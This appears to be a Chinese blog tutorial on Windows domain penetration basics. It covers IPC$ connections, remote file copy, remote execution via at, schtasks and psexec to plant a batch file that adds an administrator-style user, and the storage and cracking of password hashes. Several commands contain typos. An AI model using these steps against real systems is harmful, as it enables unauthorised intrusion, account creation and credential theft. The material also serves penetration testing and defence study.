域滲透前置知識

qq_27446553發表於2016-02-22
  在介紹具體的域滲透之前,有些基礎知識是必須要先說的。首先Windows自帶的cmd命令先過一遍,可以找個ntcmds.chm來學習下,這個在windows 2003上面是自帶的,也可以網上下載。2008和2012又新增了一些命令,具體可以去微軟的網站上線上看https://technet.microsoft.com/zh-cn/library/cc772390(v=ws.10).aspx

在繼續學習域滲透之前,至少應該對以下命令使用熟練:cd,dir,copy,xcopy,del,move,echo,mkdir,rmdir,type,ping,ipconfig。後面再講到新的命令時會再做講解。


0x01 ipc連結

       內網滲透裡面不管域還是工作組最先需要介紹的就是ipc連線,這個是內網滲透必修科目,後面絕大多數操作都要基於ipc連線。關於ipc的詳細介紹,可以參考這篇文章:http://www.xfocus.net/articles/200303/493.html

安焦的這篇文章是從普通的workgroup形式來舉例的,而在域中,ipc連線的形式有一些差別。

正常ipc登入的命令是net use\\server \ipc$ “password” /user:username

在域裡面使用net use建立連線時,user後面的引數需要新增機器名或者域名,分別對應使用本地賬戶或者域賬戶登入

比如使用域賬戶登入時net user use \\server “password”/user:domain\username

注意user後面變成了domain\username,表示使用domain域的賬戶登入

另外ipc連線時,可以省去後面的\ipc$,除非是要對映指定磁碟需要指定碟符加$,如E$


0x02 訪問檔案

       建立ipc連線以後,就可以訪問目標機器的檔案(上傳、下載),也可以在目標機器上執行命令。上傳和下載檔案直接通過copy命令就可以,不過路徑換成UNC路徑。何為UNC路徑?簡單來講以\\開頭的路徑就是UNC路徑,比如\\192.168.1.2\c$\boot.ini。如果要從本地當前目錄上傳1.bat到192.168.1.2機器C盤根目錄下,那麼命令就是copy 1.bat \\192.168.1.2\C$\,反之就是下載。dir、copy、xcopy、move、type的引數都可以使用UNC路徑。


0x03 執行命令

       如果要在目標機器上執行命令,最基礎的方法有3種:1、使用計劃任務, 2、psexec,3、wmi遠端執行

  • 計劃任務

有兩種方法啟動計劃任務,at和schtasks

at是最基本的方法,來個例子看下具體流程




net use \\192.168.1.5 Passw0rd! /user:admin  建立ipc連線

copy add.bat \\192.168.1.5\c$\wmpub 複製add.bat到目標C盤wmpub目錄

add.bat裡面的內容是net userTwi1ight Passw0rd! /add 新增Twi1ight使用者

net time \\192.168.1.5 檢視目標當前時間,得到當前時間是21:50:52

at \\192.168.1.5 21:52 c:\wmpub\add.bat 告訴目標在21:52的時候執行c:\wmpub\add.bat

at \\192.168.1.5  檢視目標的計劃任務列表

等到21:52時在目標上檢視使用者,已經成功新增賬號

       來回顧下整個流程,我們需要得到目標的當前時間,然後再新增一個計劃時間比當前時間晚幾分鐘的任務。這就意味著我們需要等待直到時間到了才能執行,無法立即就執行。而且萬一時間輸錯了,比當前時間要早,那就要等到第二天才會去執行了,這時候又得重新建立一個任務,刪掉錯誤時間的那個,至於怎麼刪除留待讀者實踐吧。這種處理方式同時也導致不便於寫程式來自動處理。


另一種方法是schtasks,這是升級版的at命令

預設在win7中文版上執行schtasks會爆無法載入列資源錯誤,這是編碼原因導致,預設是936編碼(GBK),用chcp 437命令換成美國編碼就可以了。

繼續用之前的例子,假設已經建立好ipc連結,同時已經複製了add.bat過去。下面是具體流程 


schtasks /create /s 192.168.1.2 /u administrator/p Passw0rd! /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\wmpub\add.bat/F

schtasks /run /s 192.168.1.2 /u administrator /pPassw0rd! /tn adduser /i

schtasks /delete /s 192.168.1.2 /u administrator/p Passw0rd! /tn adduser /f


第一條命令是建立計劃任務,/s指定遠端機器名或ip地址,/ru指定執行任務的使用者許可權,這裡指定為最高的SYSTEM,/tn是任務名稱,/sc是任務執行頻率,這裡指定為每天執行,並沒什麼實際意義,/tr指定執行的檔案,/F表示如果指定的任務已經存在,則強制建立任務並抑制警告。

第二條命令表示執行任務,其中/i表示立即執行,這就是schtasks比at好用的關鍵點,不需要和時間掛鉤,可以立即執行任務。 

在條件允許的情況下,儘量使用schtasks,因為在某些條件下,at執行完任務後,任務資訊沒有刪除,用at命令查不到任務資訊,但是用schtasks卻能看到任務資訊,任務名是At加一個數字。

具體例子,本地windows10,遠端windows2008

這是用at在遠端2008機器上新增一個任務,執行ipconfig命令,執行完後在win10上用at遠端查詢不到任務資訊了。

然後在2008機器的本地來看at和schtasks的結果:

at命令本地也查不到資訊,但是schtasks卻能看到任務資訊,如果用詳細模式,就能看到更具體的資訊。


Tips:

我測試windows7和windows2008無法用schtasks遠端在windows2003上面建立任務,且windows10無法使用schtasks遠端在windows2008上面建立任務。

還有使用本地賬號的情況下,schtasks在建立了ipc連結的基礎上還是需要指定賬號密碼


  • psexec

psexec是pstools工具包中的一個工具,常用來遠端執行命令。

psexec針對遠端建立連線的認證方式有兩種,一種先建立ipc連線,然後直接用psexec \\192.168.1.2 cmd命令開啟一個半互動式的cmdshell,另一種是在psexec的引數中指定賬號密碼。

psexec的-s參數列示是否使用system許可權。 


借用之前的例子,假設已經複製好add.bat到192.168.1.2,使用psexec執行的命令是:

psexec \\192.168.1.2c:\wmpub\add.bat 



psexec的基本的原理是通過管道在遠端機器上建立一個服務psexec,然後通過這個服務執行命令,執行完後刪除服務。這個在windows的日誌中有詳細的記錄:

另外psexec在少數情況下會出現服務沒刪除成功的bug,所以一般來講不太推薦在滲透時使用psexec。


  • wmiexec

這個是我之前寫過的一個工具,專門用來替代psexec的,這個帖子有詳細的介紹和使用說明“利用WMI代替psexec——WMIEXEC.vbshttps://www.t00ls.net/thread-21167-1-1.html,這裡就不再贅述。


0x03 Hash知識

       windows的密碼是經過hash後儲存的,本地存在sam,system登錄檔中,域裡面存在ntds.dit中。密碼hash有兩種格式,LM hash和NT hash。從vista以後的系統本地和域都不再儲存LM hash,取而代之的是一串AAD3開頭的hash串。另外由於LM hash演算法的侷限性,當密碼超過14位時,即使在2003或XP上,LM hash也為空,此時抓hash抓到的也是AAD3開頭的。

LMhash可以用線上網站秒破http://www.objectif-securite.ch/en/ophcrack.php

NThash就只能用暴力破解了,基本上所有破解工具都支援該演算法。破不出來也沒太大關係,現在也出了很多工具支援直接使用nthash連線遠端機器執行命令。

除了這兩種hash,在域環境中還存在另外一種域登入快取mscash,這個後面會講到。

相關文章